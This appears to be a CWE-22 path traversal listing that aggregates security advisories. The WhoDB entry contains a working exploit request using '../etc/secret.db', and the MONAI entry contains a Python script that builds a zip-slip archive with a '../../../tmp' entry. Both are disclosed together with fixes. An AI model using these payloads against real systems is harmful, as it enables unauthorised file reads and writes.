CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13041 vulnerabilities reference this CWE, most recent first.
GHSA-9R4C-JWX3-3J76
Vulnerability from github – Published: 2025-02-06 19:58 – Updated: 2025-02-07 17:35Summary
While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.
Details
WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20
If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:
The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26
No checks are performed whether the database file that is eventually opened actually resides in the default directory /db.
This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system.
PoC
Before running the container, an example Sqlite3 database with dummy "secret" data was created:
DB_FILE=$(mktemp)
echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE"
The container was then created with nothing mounted into /db, and the dummy database mounted into /etc/secret.db:
podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb
The attacker sends a HTTP request to determine whether the secret.db is accessible by setting the Database value to ../etc/secret.db:
POST /api/query HTTP/1.1
Host: localhost:8080
content-type: application/json
...
{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n __typename\n }\n}"}
The server response indicates that the database was successfully opened:
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly
...
{"data":{"Login":{"Status":true,"__typename":"StatusResponse"}}}
The Set-Cookie Token value is simply a Base64-encoded string with a JSON payload containing the connection details:
{
"Type": "Sqlite3",
"Hostname": "",
"Username": "",
"Password": "",
"Database": "../etc/secret.db"
}
The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the Database value to ../etc/secret.db.
Doing so, the attacker can then browse the database, its tables and the data within:
The attacker may also insert or modify data using either the buttons presented in the UI or the Scratchpad functionality. In this proof-of-concept, the attacker inserts a new row using the Add Row button:
Impact
Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database.
The attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases.
Recommendations
Before attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/clidey/whodb/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250127172032-547336ac73c8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-24786"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-06T19:58:24Z",
"nvd_published_at": "2025-02-06T19:15:20Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nWhile the application only displays Sqlite3 databases present in the directory `/db`, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.\n\n### Details\n\nWhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in `/db/` (or alternatively `./tmp/` if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20\n\nIf no databases are present in the default directory, the UI indicates that the user is unable to open any databases:\n\n\n\nThe database file is an user-controlled value. This value is used in `.Join()` with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26\n\nNo checks are performed whether the database file that is eventually opened actually resides in the default directory `/db`.\n\nThis allows an attacker to use path traversal (`../../`) in order to open any Sqlite3 database present on the system. \n\n### PoC\n\nBefore running the container, an example Sqlite3 database with dummy \"secret\" data was created:\n```sh\nDB_FILE=$(mktemp)\necho \"CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES (\u0027secret data\u0027)\" | sqlite3 \"$DB_FILE\"\n```\n\nThe container was then created with nothing mounted into `/db`, and the dummy database mounted into `/etc/secret.db`:\n```sh\npodman run -d -p 8080:8080 -v \"$DB_FILE\":/etc/secret.db docker.io/clidey/whodb\n```\n\nThe attacker sends a HTTP request to determine whether the `secret.db` is accessible by setting the `Database` value to `../etc/secret.db`:\n```http\nPOST /api/query HTTP/1.1\nHost: localhost:8080\ncontent-type: application/json\n...\n\n{\"operationName\":\"Login\",\"variables\":{\"credentials\":{\"Type\":\"Sqlite3\",\"Hostname\":\"\",\"Database\":\"../etc/secret.db\",\"Username\":\"\",\"Password\":\"\",\"Advanced\":[]}},\"query\":\"mutation Login($credentials: LoginCredentials!) {\\n Login(credentials: $credentials) {\\n Status\\n __typename\\n }\\n}\"}\n```\n\nThe server response indicates that the database was successfully opened:\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json\nSet-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly\n...\n\n{\"data\":{\"Login\":{\"Status\":true,\"__typename\":\"StatusResponse\"}}}\n```\n\nThe `Set-Cookie` `Token` value is simply a Base64-encoded string with a JSON payload containing the connection details:\n```json\n{\n \"Type\": \"Sqlite3\",\n \"Hostname\": \"\",\n \"Username\": \"\",\n \"Password\": \"\",\n \"Database\": \"../etc/secret.db\"\n}\n``` \n\nThe attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the `Database` value to `../etc/secret.db`.\n\nDoing so, the attacker can then browse the database, its tables and the data within:\n\n\n\nThe attacker may also insert or modify data using either the buttons presented in the UI or the _Scratchpad_ functionality. In this proof-of-concept, the attacker inserts a new row using the _Add Row_ button:\n\n\n\n### Impact\n\nAllows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database.\n\nThe attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases.\n\n### Recommendations\n\nBefore attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.",
"id": "GHSA-9r4c-jwx3-3j76",
"modified": "2025-02-07T17:35:11Z",
"published": "2025-02-06T19:58:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/clidey/whodb/security/advisories/GHSA-9r4c-jwx3-3j76"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24786"
},
{
"type": "WEB",
"url": "https://github.com/clidey/whodb/commit/547336ac73c8d17929c18c3941c0d5b0099753cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/clidey/whodb"
},
{
"type": "WEB",
"url": "https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20"
},
{
"type": "WEB",
"url": "https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "WhoDB has a path traversal opening Sqlite3 database"
}
GHSA-9R56-R7R5-55VJ
Vulnerability from github – Published: 2025-02-07 03:32 – Updated: 2025-02-12 00:32A vulnerability has been identified in GoldPanKit eva-server v4.1.0. It affects the path parameter of the /api/resource/local/download endpoint, where manipulation of this parameter can lead to arbitrary file download.
{
"affected": [],
"aliases": [
"CVE-2024-54909"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-06T22:15:38Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in GoldPanKit eva-server v4.1.0. It affects the path parameter of the /api/resource/local/download endpoint, where manipulation of this parameter can lead to arbitrary file download.",
"id": "GHSA-9r56-r7r5-55vj",
"modified": "2025-02-12T00:32:15Z",
"published": "2025-02-07T03:32:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54909"
},
{
"type": "WEB",
"url": "https://github.com/goldpankit/eva-springboot2/issues/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9R6H-78R4-2RM5
Vulnerability from github – Published: 2022-05-17 04:09 – Updated: 2022-05-17 04:09Directory traversal vulnerability in the download feature in Cybozu Garoon 2.x through 2.5.4 and 3.x through 3.7 SP3 allows remote authenticated users to read arbitrary files via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2014-0820"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-02-27T01:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the download feature in Cybozu Garoon 2.x through 2.5.4 and 3.x through 3.7 SP3 allows remote authenticated users to read arbitrary files via unspecified vectors.",
"id": "GHSA-9r6h-78r4-2rm5",
"modified": "2022-05-17T04:09:59Z",
"published": "2022-05-17T04:09:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0820"
},
{
"type": "WEB",
"url": "https://support.cybozu.com/ja-jp/article/7994"
},
{
"type": "WEB",
"url": "http://cs.cybozu.co.jp/information/gr20140225up05.php"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN26393529/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/jvndb/JVNDB-2014-000023"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/65815"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9R7F-GQ6C-HRCV
Vulnerability from github – Published: 2023-11-28 00:30 – Updated: 2024-03-21 03:35The discontinued FFS Colibri product allows a remote user to access files on the system including files containing login credentials for other users.
{
"affected": [],
"aliases": [
"CVE-2023-5885"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-35"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-27T22:15:08Z",
"severity": "MODERATE"
},
"details": "The discontinued FFS Colibri product allows a remote user to access files on the system including files containing login credentials for other users.\n",
"id": "GHSA-9r7f-gq6c-hrcv",
"modified": "2024-03-21T03:35:58Z",
"published": "2023-11-28T00:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5885"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/ICSA-23-331-02"
},
{
"type": "WEB",
"url": "https://www.franklinfueling.com/en/contact-us"
},
{
"type": "WEB",
"url": "https://www.franklinfueling.com/en/landing-pages/firmware/colibri-firmware"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9R9H-639M-HG32
Vulnerability from github – Published: 2022-05-02 03:38 – Updated: 2022-05-02 03:38Directory traversal vulnerability in plugings/pagecontent.php in Really Simple CMS (RSCMS) 0.3a allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the PT parameter.
{
"affected": [],
"aliases": [
"CVE-2009-2792"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-08-17T16:30:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in plugings/pagecontent.php in Really Simple CMS (RSCMS) 0.3a allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the PT parameter.",
"id": "GHSA-9r9h-639m-hg32",
"modified": "2022-05-02T03:38:41Z",
"published": "2022-05-02T03:38:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2792"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/52159"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9313"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9RCM-P38Q-CJP2
Vulnerability from github – Published: 2022-10-26 19:00 – Updated: 2022-10-31 19:00Multiple vulnerabilities in Cisco TelePresence Collaboration Endpoint (CE) Software and Cisco RoomOS Software could allow an attacker to conduct path traversal attacks, view sensitive data, or write arbitrary files on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
{
"affected": [],
"aliases": [
"CVE-2022-20954"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-26T15:15:00Z",
"severity": "HIGH"
},
"details": "Multiple vulnerabilities in Cisco TelePresence Collaboration Endpoint (CE) Software and Cisco RoomOS Software could allow an attacker to conduct path traversal attacks, view sensitive data, or write arbitrary files on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.",
"id": "GHSA-9rcm-p38q-cjp2",
"modified": "2022-10-31T19:00:26Z",
"published": "2022-10-26T19:00:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20954"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-roomos-trav-beFvCcyu"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9RFC-W422-2568
Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32IBM Security Key Lifecycle Manager 2.5, 2.6, 2.7, and 3.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially-crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 148423.
{
"affected": [],
"aliases": [
"CVE-2018-1744"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-15T13:29:00Z",
"severity": "MODERATE"
},
"details": "IBM Security Key Lifecycle Manager 2.5, 2.6, 2.7, and 3.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially-crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 148423.",
"id": "GHSA-9rfc-w422-2568",
"modified": "2022-05-13T01:32:44Z",
"published": "2022-05-13T01:32:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1744"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/148423"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/docview.wss?uid=ibm10733353"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9RFX-JPVQ-2F9G
Vulnerability from github – Published: 2022-05-01 18:42 – Updated: 2022-05-01 18:42Directory traversal vulnerability in index.php in ezContents 1.4.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the link parameter.
{
"affected": [],
"aliases": [
"CVE-2007-6368"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-12-15T01:46:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in index.php in ezContents 1.4.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the link parameter.",
"id": "GHSA-9rfx-jpvq-2f9g",
"modified": "2022-05-01T18:42:22Z",
"published": "2022-05-01T18:42:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6368"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4694"
},
{
"type": "WEB",
"url": "http://osvdb.org/39505"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3447"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/484647/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9RG3-9PVR-6P27
Vulnerability from github – Published: 2026-01-06 17:32 – Updated: 2026-01-29 18:23Summary
A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.
This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Details
Vulnerable Code Location
File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()
# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(extract_path) # <-- No path validation
logger.info(f"Writing into directory: {extract_path}.")
Root Cause
The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.
Safe Code Already Exists
MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:
def safe_extract_member(member, extract_to):
"""Securely verify compressed package member paths to prevent path traversal attacks"""
# ... path validation logic ...
if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
raise ValueError(f"Unsafe path detected in archive: {member_path}")
# Ensure path stays within extraction root
if os.path.commonpath([extract_root, target_real]) != extract_root:
raise ValueError(f"Unsafe path: path traversal {member_path}")
Comparison with Other Download Functions
| Function | File | Uses Safe Extraction? |
|---|---|---|
_download_from_github() |
scripts.py:198 | ✅ Yes (via extractall() wrapper) |
_download_from_monaihosting() |
scripts.py:205 | ✅ Yes (via extractall() wrapper) |
_download_from_bundle_info() |
scripts.py:215 | ✅ Yes (via extractall() wrapper) |
_download_from_ngc_private() |
scripts.py:292 | ❌ No (direct z.extractall()) |
PoC
Step 1: Create a Malicious Zip File
#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io
def create_malicious_zip(output_path="malicious_bundle.zip"):
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
# Normal bundle file
zf.writestr(
"monai_test_bundle/configs/metadata.json",
'{"name": "test_bundle", "version": "1.0.0"}'
)
# Path traversal entry
zf.writestr(
"../../../tmp/escaped_file.txt",
"This file was written outside the extraction directory.\n"
)
with open(output_path, 'wb') as f:
f.write(zip_buffer.getvalue())
print(f"Created: {output_path}")
with zipfile.ZipFile(output_path, 'r') as zf:
print("Contents:")
for name in zf.namelist():
print(f" - {name}")
if __name__ == "__main__":
create_malicious_zip()
Output:
Created: malicious_bundle.zip
Contents:
- monai_test_bundle/configs/metadata.json
- ../../../tmp/escaped_file.txt
Step 2: Demonstrate the Difference
This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):
#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os
def vulnerable_extraction(zip_path, extract_path):
"""Pattern used in monai/bundle/scripts.py:291-292"""
os.makedirs(extract_path, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(extract_path)
print("[VULNERABLE] Extraction completed without validation")
def safe_extraction(zip_path, extract_path):
"""Pattern used in monai/apps/utils.py"""
os.makedirs(extract_path, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as zf:
for member in zf.infolist():
member_path = os.path.normpath(member.filename)
# Check for path traversal
if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
print(f"[SAFE] BLOCKED: {member.filename}")
continue
print(f"[SAFE] Allowed: {member.filename}")
# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
vulnerable_extraction("malicious_bundle.zip", tmpdir)
for root, dirs, files in os.walk(tmpdir):
for f in files:
rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
print(f" Extracted: {rel_path}")
print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
safe_extraction("malicious_bundle.zip", tmpdir)
Output:
==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
Extracted: monai_test_bundle/configs/metadata.json
Extracted: tmp/escaped_file.txt
==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt
Impact
Conditions Required for Exploitation
- Attacker must control or compromise an NGC private repository
- Victim must configure MONAI to download from that repository
- Victim must use
source="ngc_private"parameter
Potential Impact
If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on: - The permissions of the user running MONAI - The target location of the escaped files - Python version (newer versions have some built-in path normalization)
Mitigating Factors
- Requires attacker to control an NGC private repository
- Modern Python versions (3.12+) have some built-in path normalization
- The
ngc_privatesource is less commonly used than other sources
Recommended Fix
Replace the direct extractall() call with MONAI's existing safe extraction:
# monai/bundle/scripts.py
+ from monai.apps.utils import _extract_zip
def _download_from_ngc_private(...):
# ... existing code ...
extract_path = download_path / f"{filename}"
- with zipfile.ZipFile(zip_path, "r") as z:
- z.extractall(extract_path)
- logger.info(f"Writing into directory: {extract_path}.")
+ _extract_zip(zip_path, extract_path)
+ logger.info(f"Writing into directory: {extract_path}.")
This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.
Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.1"
},
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21851"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-06T17:32:52Z",
"nvd_published_at": "2026-01-07T23:15:50Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA **Path Traversal (Zip Slip)** vulnerability exists in MONAI\u0027s `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function.\n\nThis appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.\n\n**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `monai/bundle/scripts.py` \n**Lines:** 291-292 \n**Function:** `_download_from_ngc_private()`\n\n```python\n# monai/bundle/scripts.py - Lines 284-293\nzip_path = download_path / f\"{filename}_v{version}.zip\"\nwith open(zip_path, \"wb\") as f:\n f.write(response.content)\nlogger.info(f\"Downloading: {zip_path}.\")\nif remove_prefix:\n filename = _remove_ngc_prefix(filename, prefix=remove_prefix)\nextract_path = download_path / f\"{filename}\"\nwith zipfile.ZipFile(zip_path, \"r\") as z:\n z.extractall(extract_path) # \u003c-- No path validation\n logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\n### Root Cause\n\nThe code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory.\n\n### Safe Code Already Exists\n\nMONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths:\n\n```python\ndef safe_extract_member(member, extract_to):\n \"\"\"Securely verify compressed package member paths to prevent path traversal attacks\"\"\"\n # ... path validation logic ...\n \n if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n raise ValueError(f\"Unsafe path detected in archive: {member_path}\")\n \n # Ensure path stays within extraction root\n if os.path.commonpath([extract_root, target_real]) != extract_root:\n raise ValueError(f\"Unsafe path: path traversal {member_path}\")\n```\n\n### Comparison with Other Download Functions\n\n| Function | File | Uses Safe Extraction? |\n|----------|------|----------------------|\n| `_download_from_github()` | scripts.py:198 | \u2705 Yes (via `extractall()` wrapper) |\n| `_download_from_monaihosting()` | scripts.py:205 | \u2705 Yes (via `extractall()` wrapper) |\n| `_download_from_bundle_info()` | scripts.py:215 | \u2705 Yes (via `extractall()` wrapper) |\n| `_download_from_ngc_private()` | scripts.py:292 | \u274c No (direct `z.extractall()`) |\n\n---\n\n## PoC\n\n### Step 1: Create a Malicious Zip File\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create malicious zip with path traversal entries\"\"\"\nimport zipfile\nimport io\n\ndef create_malicious_zip(output_path=\"malicious_bundle.zip\"):\n zip_buffer = io.BytesIO()\n \n with zipfile.ZipFile(zip_buffer, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n # Normal bundle file\n zf.writestr(\n \"monai_test_bundle/configs/metadata.json\",\n \u0027{\"name\": \"test_bundle\", \"version\": \"1.0.0\"}\u0027\n )\n \n # Path traversal entry\n zf.writestr(\n \"../../../tmp/escaped_file.txt\",\n \"This file was written outside the extraction directory.\\n\"\n )\n \n with open(output_path, \u0027wb\u0027) as f:\n f.write(zip_buffer.getvalue())\n \n print(f\"Created: {output_path}\")\n with zipfile.ZipFile(output_path, \u0027r\u0027) as zf:\n print(\"Contents:\")\n for name in zf.namelist():\n print(f\" - {name}\")\n\nif __name__ == \"__main__\":\n create_malicious_zip()\n```\n\n**Output:**\n```\nCreated: malicious_bundle.zip\nContents:\n - monai_test_bundle/configs/metadata.json\n - ../../../tmp/escaped_file.txt\n```\n\n### Step 2: Demonstrate the Difference\n\nThis script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI):\n\n```python\n#!/usr/bin/env python3\n\"\"\"Compare vulnerable vs safe extraction\"\"\"\nimport zipfile\nimport tempfile\nimport os\n\ndef vulnerable_extraction(zip_path, extract_path):\n \"\"\"Pattern used in monai/bundle/scripts.py:291-292\"\"\"\n os.makedirs(extract_path, exist_ok=True)\n with zipfile.ZipFile(zip_path, \"r\") as z:\n z.extractall(extract_path)\n print(\"[VULNERABLE] Extraction completed without validation\")\n\ndef safe_extraction(zip_path, extract_path):\n \"\"\"Pattern used in monai/apps/utils.py\"\"\"\n os.makedirs(extract_path, exist_ok=True)\n with zipfile.ZipFile(zip_path, \"r\") as zf:\n for member in zf.infolist():\n member_path = os.path.normpath(member.filename)\n \n # Check for path traversal\n if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n print(f\"[SAFE] BLOCKED: {member.filename}\")\n continue\n \n print(f\"[SAFE] Allowed: {member.filename}\")\n\n# Run demo\nprint(\"=\" * 50)\nprint(\"VULNERABLE PATTERN (scripts.py:291-292)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n vulnerable_extraction(\"malicious_bundle.zip\", tmpdir)\n for root, dirs, files in os.walk(tmpdir):\n for f in files:\n rel_path = os.path.relpath(os.path.join(root, f), tmpdir)\n print(f\" Extracted: {rel_path}\")\n\nprint()\nprint(\"=\" * 50)\nprint(\"SAFE PATTERN (apps/utils.py)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n safe_extraction(\"malicious_bundle.zip\", tmpdir)\n```\n\n**Output:**\n```\n==================================================\nVULNERABLE PATTERN (scripts.py:291-292)\n==================================================\n[VULNERABLE] Extraction completed without validation\n Extracted: monai_test_bundle/configs/metadata.json\n Extracted: tmp/escaped_file.txt\n\n==================================================\nSAFE PATTERN (apps/utils.py)\n==================================================\n[SAFE] Allowed: monai_test_bundle/configs/metadata.json\n[SAFE] BLOCKED: ../../../tmp/escaped_file.txt\n```\n\n---\n\n## Impact\n\n### Conditions Required for Exploitation\n\n1. Attacker must control or compromise an NGC private repository\n2. Victim must configure MONAI to download from that repository\n3. Victim must use `source=\"ngc_private\"` parameter\n\n### Potential Impact\n\nIf exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:\n- The permissions of the user running MONAI\n- The target location of the escaped files\n- Python version (newer versions have some built-in path normalization)\n\n### Mitigating Factors\n\n- Requires attacker to control an NGC private repository\n- 